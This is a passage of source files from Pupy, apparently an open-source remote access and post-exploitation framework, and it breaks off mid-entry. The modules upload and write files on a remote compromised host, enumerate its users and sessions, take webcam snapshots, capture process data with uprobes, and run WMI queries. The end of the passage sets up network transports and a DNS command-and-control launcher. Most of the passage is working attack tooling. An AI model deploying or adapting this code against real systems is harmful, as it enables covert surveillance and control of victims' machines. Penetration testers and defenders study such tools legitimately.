    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyCompleter import path_completer, remote_dirs_completer\n\nfrom pupy.network.lib.rpc.utils.classic import upload\n\nimport sys\nimport os\nimport os.path\n\nif sys.version_info.major > 2:\n    basestring = str\n\n__class_name__=\"UploaderScript\"\n\n\n@config(cat=\"manage\")\nclass UploaderScript(PupyModule):\n    \"\"\" upload a file/directory to a remote system \"\"\"\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='upload', description=cls.__doc__)\n        cls.arg_parser.add_argument('local_file', metavar='<local_path>', completer=path_completer)\n        cls.arg_parser.add_argument('remote_file', nargs='?', metavar='<remote_path>',\n                                    completer=remote_dirs_completer)\n\n    def run(self, args):\n        localfile = os.path.expandvars(args.local_file)\n\n        rexpandvars = self.client.remote('os.path', 'expandvars')\n        rjoin = self.client.remote('os.path', 'join')\n        risdir = self.client.remote('os.path', 'isdir', False)\n\n        if args.remote_file:\n            remotefile = rexpandvars(args.remote_file)\n        else:\n            rtempfile = self.client.conn.modules['tempfile']\n            tempdir = rtempfile.gettempdir()\n            remotefile = rjoin(tempdir, os.path.basename(localfile))\n\n        if remotefile.endswith('.'):\n            remotefile = os.path.join(os.path.dirname(remotefile), args.local_file.split(os.sep)[-1])\n\n        if os.path.isfile(localfile) and risdir(remotefile):\n            remotefile = rjoin(remotefile, os.path.basename(localfile))\n\n        size = os.stat(localfile).st_size\n\n        self.info(\n            \"Uploading local:%s to remote:%s (size=%d)\"%(\n                localfile,\n                remotefile,\n                size\n            )\n        )\n\n        try:\n            upload(self.client.conn, localfile, remotefile, chunk_size=8*1024*1024)\n        except Exception as e:\n            self.error(\n                ' '.join(x for x in e.args if isinstance(x, basestring))\n            )\n            return\n\n        self.success(\"file local:%s uploaded to remote:%s\"%(localfile, remotefile))\n\n        self.client.conn.modules['os'].chmod(\n            remotefile,\n            os.stat(localfile).st_mode\n        )\n"
  },
  {
    "path": "pupy/modules/users.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Color, Table\n\n__class_name__ = 'Users'\n\n\n@config(cat=\"gather\", compatibilities=[\n    'windows', 'linux', 'darwin', 'posix'])\nclass Users(PupyModule):\n    \"\"\" Get interactive users \"\"\"\n\n    dependencies = {\n        'windows': ['win32net', 'win32api'],\n        'all': ['pupyutils.users']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='users', description=cls.__doc__\n        )\n        cls.arg_parser.add_argument(\n            '-g', '--groups',\n            action='store_true', default=False,\n            help='show groups membership')\n\n    def run(self, args):\n        users = self.client.remote('pupyutils.users', 'users')\n        users_list = users()\n\n        objects = []\n\n        for user in users_list['users']:\n            if user['admin']:\n                color = 'lightred'\n            elif 'Administrators' in user['groups'] or \\\n                    'sudo' in user['groups']:\n                color = 'lightyellow'\n            else:\n                color = 'white'\n\n            objects.append({\n                'C': '>' if users_list['current'] == user['name'] else '',\n                'NAME': Color(user['name'], color),\n                'GROUPS': Color(','.join(user['groups']), color),\n                'HOME': Color(user['home'], color)\n            })\n\n        headers = ['C', 'NAME', 'HOME']\n        if args.groups:\n            headers.insert(2, 'GROUPS')\n\n        self.log(Table(objects, headers))\n"
  },
  {
    "path": "pupy/modules/usniper.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\nif sys.version_info.major > 2:\n    basestring = str\n\nUSNIPER_EVENT = 0x13000001\n\n__class_name__ = 'USniper'\n__events__ = {\n    USNIPER_EVENT: 'usniper'\n}\n\n\n@config(cat='gather', compat=['linux'])\nclass USniper(PupyModule):\n    ''' Globally capture string or register during execution at specified\n        physical offset and register using uprobes. Compatible with\n        kernels >3.5 (register) and >3.18 (string) '''\n\n    unique_instance = True\n    dependencies = {\n        'linux': ['usniper']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='usniper', description=cls.__doc__)\n        commands = cls.arg_parser.add_subparsers(help='commands')\n        start = commands.add_parser('start', help='Start USniper')\n        start.add_argument('-S', '--string', action='store_true',\n            default=False, help='Dereference as string (>3.18)')\n        start.add_argument('-R', '--ret', action='store_true', default=False,\n            help='Get value after return')\n        start.add_argument('-C', '--nochar', action='store_true',\n            default=False, help='Do not cast register to character')\n        start.add_argument('path', help='Absolute path to binary')\n        start.add_argument('offset', help='Offset in binary')\n        start.add_argument('reg', default='ax', nargs='?',\n                               help='Get value from register')\n        start.set_defaults(func=cls.start)\n\n        stop = commands.add_parser('stop', help='stop USniper')\n        stop.set_defaults(func=cls.stop)\n\n        dump = commands.add_parser('dump', help='dump results')\n        dump.set_defaults(func=cls.dump)\n\n    def start(self, args):\n        offset = args.offset\n        if not offset.lower().startswith('0x'):\n            offset = '0x' + offset.upper()\n        else:\n            offset = '0x' + offset[2:].upper()\n\n        start = self.client.remote('usniper', 'start')\n\n        if start(args.path, offset, args.reg, args.ret,\n                 'string' if args.string else None,\n                     None if (args.string or args.nochar) else 'chr',\n                     event_id=USNIPER_EVENT):\n            self.success('Unsipper started')\n        else:\n            self.error('Usniper start failed')\n\n    def stop(self, args):\n        stop = self.client.remote('usniper', 'stop')\n        stop()\n        self.success('Stop request was sent')\n\n    def dump(self, args):\n        dump = self.client.remote('usniper', 'dump')\n\n        data = dump()\n        if not data:\n            self.warning('No data collected')\n            return\n\n        records = []\n\n        for pid, values in data.items():\n            for timestamp, dumps in values['dump'].items():\n                if all(len(x) == 1 and isinstance(x, basestring) for x in dumps):\n                    records.append({\n                        'PID': pid,\n                        'EXE': values['exe'],\n                        'CMD': ' '.join(values['cmd']),\n                        'DATA': ''.join(dumps).strip(' \\0')\n                    })\n                else:\n                    for dump in dumps:\n                        records.append({\n                            'PID': pid,\n                            'DATA': dump.strip(' \\0'),\n                            'EXE': values['exe'],\n                            'CMD': ' '.join(values['cmd'])\n                        })\n\n        self.table(records, ['PID', 'EXE', 'CMD', 'DATA'])\n\n    def run(self, args):\n        args.func(self, args)\n"
  },
  {
    "path": "pupy/modules/vibrate.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__=\"AndroidVibrate\"\n\n@config(compat=\"android\", cat=\"troll\", tags=[\"vibrator\"])\nclass AndroidVibrate(PupyModule):\n    \"\"\" activate the phone/tablet vibrator :) \"\"\"\n\n    dependencies=['pupydroid.vibrator']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"vibrator\", description=cls.__doc__)\n\n    def run(self, args):\n        #Each element then alternates between vibrate, sleep, vibrate, sleep...\n        pattern=[1000,1000,1000,1000,1000,1000,1000,1000]\n\n        self.client.conn.modules['pupydroid.vibrator'].vibrate(pattern)\n"
  },
  {
    "path": "pupy/modules/w.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Color, Table\nfrom datetime import datetime, timedelta\n\nimport logging\n\n__class_name__ = 'WModule'\n\nADMINS = (r'NT AUTHORITY\\SYSTEM', 'root')\n\n\n@config(cat=\"admin\")\nclass WModule(PupyModule):\n    \"\"\" list terminal sessions \"\"\"\n\n    dependencies = {\n        'all': ['pupyps'],\n        'windows': ['pupwinutils.security']\n    }\n\n    is_module = False\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='w', description=cls.__doc__\n        )\n\n    def run(self, args):\n        if self.client.is_windows():\n            EnumerateWTS = self.client.remote(\n                'pupwinutils.security', 'EnumerateWTS')\n\n            try:\n                wts_sessions = EnumerateWTS()\n\n                cols = ['#']\n\n                records = []\n\n                session_colors = {}\n\n                state = {'#': 'State'}\n                user = {'#': 'User'}\n                client_info = {'#': 'Client'}\n                client_res = {'#': 'Res'}\n                time_info = {\n                    k: {} for k in (\n                        'LastInputTime', 'ConnectTime',\n                        'DisconnectTime', 'LogonTime'\n                    )\n                }\n\n                for session in wts_sessions:\n                    current = wts_sessions[session]['current']\n                    session_state = wts_sessions[session]['state']\n                    session_info = wts_sessions[session]['info']\n                    session_client = wts_sessions[session]['client']\n\n                    if current:\n                        session = '<' + session + '>'\n\n                    cols.append(session)\n\n                    current_time = datetime.now()\n                    disconnect_time = None\n                    current_time = None\n                    input_time = None\n\n                    if session_info['CurrentTime']:\n                        current_time = datetime.utcfromtimestamp(\n                            session_info['CurrentTime'])\n\n                    for time_info_record in time_info:\n                        value = session_info[time_info_record]\n                        if value:\n                            value = datetime.utcfromtimestamp(value)\n                            if time_info_record == 'DisconnectTime':\n                                disconnect_time = value\n                            elif time_info_record == 'LastInputTime':\n                                input_time = value\n                            elif time_info_record == 'CurrentTime':\n                                current_time = value\n                        else:\n                            value = ''\n\n                        time_info[time_info_record][session] = value\n\n                    color = 'white'\n                    if session_state == 'Disconnected':\n                        color = 'grey'\n                    elif session_state == 'Listen':\n                        color = 'cyan'\n                    elif session_state == 'Active':\n                        idle = None\n                        if input_time:\n                            idle = (current_time - input_time).total_seconds()\n\n                        if idle is not None and idle < 10 * 60:\n                            color = 'cyan'\n                        elif disconnect_time is None:\n                            color = 'green'\n                        elif disconnect_time > current_time:\n                            color = 'lightgrey'\n\n                    session_colors[session] = color\n\n                    view_port = ''\n                    if session_client['HRes'] and session_client['VRes']:\n                        view_port = '{}x{}'.format(\n                            session_client['HRes'], session_client['VRes'])\n\n                    client_line = ''\n                    if session_client['ClientName'] and \\\n                            session_client['ClientProductId']:\n                        username = session_client['UserName']\n                        domain = session_client['Domain']\n                        if domain and domain != '.':\n                            username = domain + '\\\\' + username\n\n                        client_line = '{}@{} ({}/{} {}.{})'.format(\n                            username,\n                            session_client['ClientAddress'],\n                            session_client['ClientName'],\n                            session_client['DeviceIdD'],\n                            session_client['ClientProductId'],\n                            session_client['ClientBuildNumber']\n                        )\n\n                    client_info[session] = Color(client_line, color)\n                    client_res[session] = Color(view_port, color)\n\n                    state[session] = Color(session_state, color)\n\n                    username = session_info['UserName']\n                    domain = session_info['Domain']\n                    if username:\n                        if domain:\n                            username = domain + '\\\\' + username\n\n                    user[session] = Color(username, color)\n\n                records.append(state)\n                records.append(user)\n                for time_info_type in time_info:\n                    record = {'#': time_info_type}\n                    record.update({\n                        session: Color(\n                            str(time_info[\n                                time_info_type][session]).rsplit('.')[0]\n                            if time_info[time_info_type][session] else '',\n                            session_colors[session]\n                        ) for session in cols[1:]\n                    })\n                    records.append(record)\n                records.append(client_info)\n                records.append(client_res)\n\n                self.log(Table(records, cols))\n                return\n\n            except Exception as e:\n                pass\n\n        try:\n            users = self.client.remote('pupyps', 'users')\n\n            data = users()\n\n            tablein = []\n\n            for user, hosts in reversed(sorted(data.items())):\n                for host, sessions in hosts.items():\n                    for session in sessions:\n                        color = \"\"\n\n                        if 'idle' in session:\n                            idle = session['idle']\n                            color = \"cyan\" if idle < 10*60 else (\n                                \"grey\" if idle > 60*60*24 else \"\"\n                            )\n\n                        if 'dead' in session:\n                            color = 'darkgrey'\n\n                        object = {\n                            'HOST': Color(host, color),\n                            'USER': Color(\n                                user,\n                                \"yellow\" if user in ADMINS else (\n                                    \"green\" if session.get('me') else color)\n                            ),\n                            'LOGIN': Color(\n                                str(datetime.fromtimestamp(\n                                    int(session['started']))), color\n                            ),\n                        }\n\n                        if session.get('terminal'):\n                            if session.get('name'):\n                                what = '{} {}'.format(\n                                    session['exe'] if session.get('exe')\n                                    else ('{'+session.get('name')+'}'),\n                                    ' '.join(\n                                        session['cmdline'][1:]\n                                        if session.get('cmdline') else ''\n                                    )\n                                )\n                            else:\n                                what = ''\n\n                            object.update({\n                                'IDLE': Color(\n                                    str(timedelta(\n                                        seconds=session['idle'])), color\n                                ) if session.get('idle') else '',\n                                'PID': Color(\n                                    str(session.get('pid', '')), color),\n                                'WHAT': Color(\n                                    what[:30] + '...'\n                                    if len(what) > 30 else what, color\n                                )\n                            })\n\n                        tablein.append(object)\n\n            self.table(tablein)\n\n        except Exception as e:\n            logging.exception(e)\n"
  },
  {
    "path": "pupy/modules/webcamsnap.py",
    "content": "# -*- coding: utf-8 -*-\n\n# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE\n# --------------------------------------------------------------\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\nimport os.path\nimport logging\nimport datetime\nimport subprocess\n\nfrom io import open\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__=\"WebcamSnapModule\"\n\n\ndef pil_save(filename, pixels, width, height):\n    from PIL import Image, ImageFile\n    buffer_len = (width * 3 + 3) & -4\n    img = Image.frombuffer('RGB', (width, height), pixels, 'raw', 'BGR', buffer_len, 1)\n    ImageFile.MAXBLOCK = width * height\n    img=img.transpose(Image.FLIP_TOP_BOTTOM)\n    img.save(filename, quality=95, optimize=True, progressive=True)\n    logging.info('webcam snap saved to %s'%filename)\n\n\n@config(cat=\"gather\", compat=[\"windows\", \"android\"])\nclass WebcamSnapModule(PupyModule):\n    \"\"\" take a webcam snap :) \"\"\"\n\n    dependencies = {\n        'android': ['pupydroid.camera'],\n        'windows': ['vidcap']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='webcam_snap', description=cls.__doc__)\n        cls.arg_parser.add_argument('-d', '--device', type=int, default=0, help='take a webcam snap on a specific device (default: %(default)s)')\n        cls.arg_parser.add_argument('-n', '--nb-cameras', action='store_true', help='print number of cameras (Android Only)')\n        cls.arg_parser.add_argument('-q', '--jpg-quality', type=int, default=40, help='define jpg quality (Android Only) (default: %(default)s)')\n        cls.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open eog on the snap for preview')\n\n    def run(self, args):\n        try:\n            os.makedirs(os.path.join(\"data\",\"webcam_snaps\"))\n        except Exception:\n            pass\n    \n        filepath = os.path.join(\"data\",\"webcam_snaps\",\"snap_\"+self.client.short_name()+\"_\"+str(datetime.datetime.now()).replace(\" \",\"_\").replace(\":\",\"-\")+\".jpg\")\n\n        if self.client.is_windows():\n            dev=self.client.conn.modules['vidcap'].new_Dev(args.device,0)\n            self.info(\"device %s exists, taking a snap ...\"%args.device)\n            buff, width, height = dev.getbuffer()\n            pil_save(filepath, buff, width, height)\n        elif self.client.is_android():\n            if args.nb_cameras:\n                self.success(\"Number of cameras: {0}\".format(self.client.conn.modules['pupydroid.camera'].numberOfCameras()))\n                return\n            else:\n                data=self.client.conn.modules['pupydroid.camera'].take_picture(args.device, args.jpg_quality)\n                with open(filepath, 'wb') as f:\n                    f.write(data)\n\n        if args.view:\n            subprocess.Popen([self.client.pupsrv.config.get(\"default_viewers\", \"image_viewer\"),filepath])\n\n        self.success(\"webcam picture saved to %s\"%filepath)\n"
  },
  {
    "path": "pupy/modules/wmic.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nfrom argparse import REMAINDER\n\nfrom pupy.pupylib.PupyOutput import Table, List\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\nif sys.version_info.major > 2:\n    basestring = str\n\n__class_name__ = 'WMIC'\n\n\n@config(category='admin', compat=['windows'])\nclass WMIC(PupyModule):\n    ''' Query WMI using WQL '''\n\n    dependencies = ['wql']\n\n    @classmethod\n    def init_argparse(cls):\n        example = 'SELECT * FROM Win32_Share'\n        cls.arg_parser = PupyArgumentParser(\n            prog='wmi', description=cls.__doc__, epilog=example)\n        cls.arg_parser.add_argument(\n            '-c', '--columns-only', action='store_true', help='Show only column names')\n        cls.arg_parser.add_argument('query', nargs=REMAINDER)\n\n    def run(self, args):\n        wql = self.client.remote('wql', 'execute_final')\n        if args.query:\n            cmdline = ' '.join(args.query)\n        else:\n            cmdline = 'SELECT DatabaseDirectory,BuildVersion,LoggingDirectory '\\\n              'FROM Win32_WMISetting'\n\n        try:\n            columns, result = wql(cmdline)\n        except Exception as e:\n            self.error(e.strerror)\n            return\n\n        if args.columns_only:\n            self.log(List(columns, caption='Columns'))\n            return\n\n        def _stringify(x):\n            if isinstance(x, basestring):\n                return x\n            elif isinstance(x, (list, tuple)):\n                return ';'.join(_stringify(y) for y in x)\n            elif x is None:\n                return ''\n            else:\n                return str(x)\n\n        if not columns:\n            return\n        elif len(columns) == 1:\n            records = []\n            for record in result:\n                for item in record:\n                    if item[0] == columns[0]:\n                        records.append(_stringify(item[1]))\n            self.log(List(records, caption=columns[0]))\n        else:\n            records = [{\n                k:_stringify(v) for k,v in record\n            } for record in result]\n\n            self.log(Table(records, columns))\n"
  },
  {
    "path": "pupy/modules/write.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyCompleter import remote_path_completer\nfrom argparse import REMAINDER\n\nif sys.version_info.major > 2:\n    basestring = str\n\n__class_name__ = 'Write'\n\n\n@config(cat='manage')\nclass Write(PupyModule):\n    ''' Write short string to file '''\n\n    dependencies = ['pupyutils.basic_cmds']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='write', description=cls.__doc__\n        )\n\n        modifier = cls.arg_parser.add_mutually_exclusive_group()\n        modifier.add_argument(\n            '-0', '--zero', action='store_true', default=False,\n            help='Overwrite file with empty string')\n        modifier.add_argument(\n            '-a', '--append', action='store_true', default=False,\n            help='Append data to existing content')\n\n        decoding = cls.arg_parser.add_mutually_exclusive_group()\n        decoding.add_argument(\n            '-x', '--hex', action='store_true', default=False,\n            help='Decode data from hex')\n        decoding.add_argument(\n            '-b', '--base64', action='store_true', default=False,\n            help='Decode data from base64')\n\n        cls.arg_parser.add_argument(\n            'remote_file', metavar='<remote_path>',\n            completer=remote_path_completer)\n\n        cls.arg_parser.add_argument('text', nargs=REMAINDER)\n\n    def run(self, args):\n        if not args.text and not args.zero:\n            self.error('Use -0 to overwrite file with zero content')\n            return\n        elif args.zero and args.text:\n            self.error('Use either -0 or text')\n            return\n\n        text = ''\n        if not args.zero:\n            text = ' '.join(args.text)\n\n        if args.base64:\n            text = text.decode('base64')\n        elif args.hex:\n            text = text.decode('hex')\n\n        fputcontent = self.client.remote(\n            'pupyutils.basic_cmds', 'fputcontent', False\n        )\n\n        try:\n            fputcontent(args.remote_file, text, args.append)\n        except Exception as e:\n            raise\n            self.error(\n                ' '.join(x for x in e.args if isinstance(x, basestring))\n            )\n            return\n"
  },
  {
    "path": "pupy/modules/x509.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom M2Crypto.X509 import load_cert_string, X509Error\n\n__class_name__='x509'\n\n@config(cat='admin')\nclass x509(PupyModule):\n    ''' Fetch certificate from server '''\n\n    dependencies = ['pupyutils.basic_cmds']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='x509', description=cls.__doc__)\n        cls.arg_parser.add_argument('host', help='Address or path')\n        cls.arg_parser.add_argument('port', type=int, default=443, nargs='?', help='Port')\n        cls.arg_parser.add_argument('-F', '--file', action='store_true', default=False,\n                                     help='Force treat host as file path')\n        cls.arg_parser.add_argument('-R', '--raw', action='store_true', default=False,\n                                     help='Do not convert to text')\n\n\n    def run(self, args):\n        if args.file or '/' in args.host or '\\\\' in args.host:\n            cat = self.client.remote('pupyutils.basic_cmds', 'cat', False)\n            cert = cat(args.host, None, None, None)\n        else:\n            get_server_certificate = self.client.remote('ssl', 'get_server_certificate')\n            cert = get_server_certificate((args.host, args.port))\n\n        if not args.raw:\n            parsed = None\n            try:\n                parsed = load_cert_string(cert).as_text()\n            except (X509Error, TypeError):\n                try:\n                    parsed = load_cert_string(cert, 0).as_text()\n                except X509Error:\n                    pass\n\n            cert = parsed\n\n        if cert:\n            self.log(cert)\n        else:\n            self.error('Invalid certificate format')\n"
  },
  {
    "path": "pupy/modules/zip.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.utils.rpyc_utils import obtain\n\n__class_name__=\"Zip\"\n\n@config(cat=\"admin\")\nclass Zip(PupyModule):\n    \"\"\" zip / unzip file or directory \"\"\"\n\n    dependencies = ['pupyutils.zip', 'zipfile']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"zip\", description=cls.__doc__)\n        cls.arg_parser.add_argument('source', type=str, help='path of the source file or directory to zip')\n\n        cls.arg_parser.add_argument('-l', action='store_true', help='list file  (default: zip file)')\n        cls.arg_parser.add_argument('-u', action='store_true', help='unzip file (default: zip file)')\n        cls.arg_parser.add_argument('-d', dest='destination', help='path of the destination file (default: current directory)')\n\n    def nice_size(self, value):\n        if value > 1024*1024*1024:\n            return '{}G'.format(value/(1024*1024*1024))\n        elif value > 1024*1024:\n            return '{}M'.format(value/(1024*1024))\n        elif value > 1024:\n            return '{}K'.format(value/1024)\n        else:\n            return '{}B'.format(value)\n\n    def run(self, args):\n        if args.l:\n            result, data = self.client.conn.modules[\"pupyutils.zip\"].list(args.source)\n            if result:\n                data = obtain(data)\n                log = args.source + ':\\n' + '\\n'.join(\n                    '{:>8} {}'.format(self.nice_size(file_size), filename) for filename, file_size in data\n                )\n            else:\n                log = data\n\n        elif not args.u:\n            result, log = self.client.conn.modules[\"pupyutils.zip\"].zip(args.source, args.destination)\n        else:\n            result, log = self.client.conn.modules[\"pupyutils.zip\"].unzip(args.source, args.destination)\n\n        if result:\n            self.success(log)\n        else:\n            self.error(log)\n"
  },
  {
    "path": "pupy/network/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/conf.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root\n# of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'load_network_modules', 'transports', 'launchers'\n)\n\n\nimport logging\nimport importlib\nimport pkgutil\n\nfrom . import transports as trlib\n\ntransports = {}\nlaunchers = {}\n\n\ndef add_transport(module_name):\n    try:\n        confmodule = importlib.import_module(\n            'pupy.network.transports.{}.conf'.format(module_name))\n\n        if not confmodule:\n            logging.warning('Import failed: %s', module_name)\n            return\n\n        if not hasattr(confmodule, 'TransportConf'):\n            logging.warning('TransportConf is not present in %s', module_name)\n            return\n\n        t = confmodule.TransportConf\n        if t.name is None:\n            t.name = module_name\n\n        transports[t.name] = t\n        logging.debug('Transport loaded: %s', t.name)\n\n    except Exception as e:\n        logging.exception('Transport disabled: %s: %s', module_name, e)\n\n\ndef load_network_modules():\n    for loader, module_name, is_pkg in pkgutil.iter_modules(trlib.__path__):\n        add_transport(module_name)\n\n    try:\n        from .lib.launchers.connect import ConnectLauncher\n        launchers['connect'] = ConnectLauncher\n    except Exception as e:\n        logging.exception('%s: ConnectLauncher disabled', e)\n\n    try:\n        from .lib.launchers.auto_proxy import AutoProxyLauncher\n        launchers['auto_proxy'] = AutoProxyLauncher\n    except Exception as e:\n        logging.exception('%s: AutoProxyLauncher disabled', e)\n\n    try:\n        from .lib.launchers.bind import BindLauncher\n        launchers['bind'] = BindLauncher\n    except Exception as e:\n        logging.exception('%s: BindLauncher disabled', e)\n\n    try:\n        from .lib.launchers.dnscnc import DNSCncLauncher\n        launchers.update({\n            'dnscnc': DNSCncLauncher\n        })\n\n    except Exception as e:\n        logging.exception('%s: DNSCncLauncher disabled', e)\n        DNSCncLauncher = None\n"
  },
  {
    "path": "pupy/network/lib/__init__.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n__all__ = (\n    'Proxy', 'getLogger',\n    'PupySocketStream', 'PupyUDPSocketStream',\n    'chain_transports',\n    'PupyTCPServer', 'PupyUDPServer',\n    'PupyTCPClient', 'PupySSLClient',\n    'PupyProxifiedTCPClient', 'PupyProxifiedSSLClient',\n    'PupyUDPClient',\n    'DummyPupyTransport',\n\n    'RSA_AESClient', 'RSA_AESServer',\n    'PupyHTTPClient', 'PupyHTTPServer',\n    'PupyWebSocketClient', 'PupyWebSocketServer',\n    'EC4TransportServer', 'EC4TransportClient',\n    'ECMTransportServer', 'ECMTransportClient'\n)\n\nimport logging\n\nfrom collections import namedtuple\n\nProxy = namedtuple(\n    'Proxy', [\n       'type', 'addr', 'username', 'password'\n    ]\n)\n\nlogger = logging.getLogger('pupy.network')\n\n\ndef getLogger(name):\n    return logger.getChild(name)\n\n\nfrom .streams.PupySocketStream import PupySocketStream\n\n\ntry:\n    from .streams.PupySocketStream import PupyUDPSocketStream\nexcept:\n    PupyUDPSocketStream = None\n\n\nfrom .base import chain_transports\nfrom .servers import PupyTCPServer, PupyUDPServer\nfrom .clients import PupyTCPClient, PupySSLClient\nfrom .clients import PupyProxifiedTCPClient, PupyProxifiedSSLClient\nfrom .clients import PupyUDPClient\n\nfrom .transports.dummy import DummyPupyTransport\n\n\ntry:\n    from .transports.rsa_aes import RSA_AESClient, RSA_AESServer\nexcept Exception as e:\n    logger.exception('Transport rsa_aes disabled: %s', e)\n    RSA_AESClient = None\n    RSA_AESServer = None\n\ntry:\n    from .transports.http import PupyHTTPClient, PupyHTTPServer\nexcept Exception as e:\n    logger.exception('Transport http disabled: %s', e)\n    PupyHTTPClient = None\n    PupyHTTPServer = None\n\ntry:\n    from .transports.websocket import PupyWebSocketClient, PupyWebSocketServer\nexcept Exception as e:\n    logger.exception('Transport websocket disabled: %s', e)\n    PupyWebSocketClient = None\n    PupyWebSocketServer = None\n\ntry:\n    from .transports.ec4 import EC4TransportServer, EC4TransportClient\nexcept Exception as e:\n    logger.exception('Transport ec4 disabled: %s', e)\n    EC4TransportServer = None\n    EC4TransportClient = None\n\ntry:\n    from .transports.ecm import ECMTransportServer, ECMTransportClient\nexcept Exception as e:\n    logger.exception('Transport ecm disabled: %s', e)\n    ECMTransportServer = None\n    ECMTransportClient = None\n\n"
  },
  {
    "path": "pupy/network/lib/ack.py",
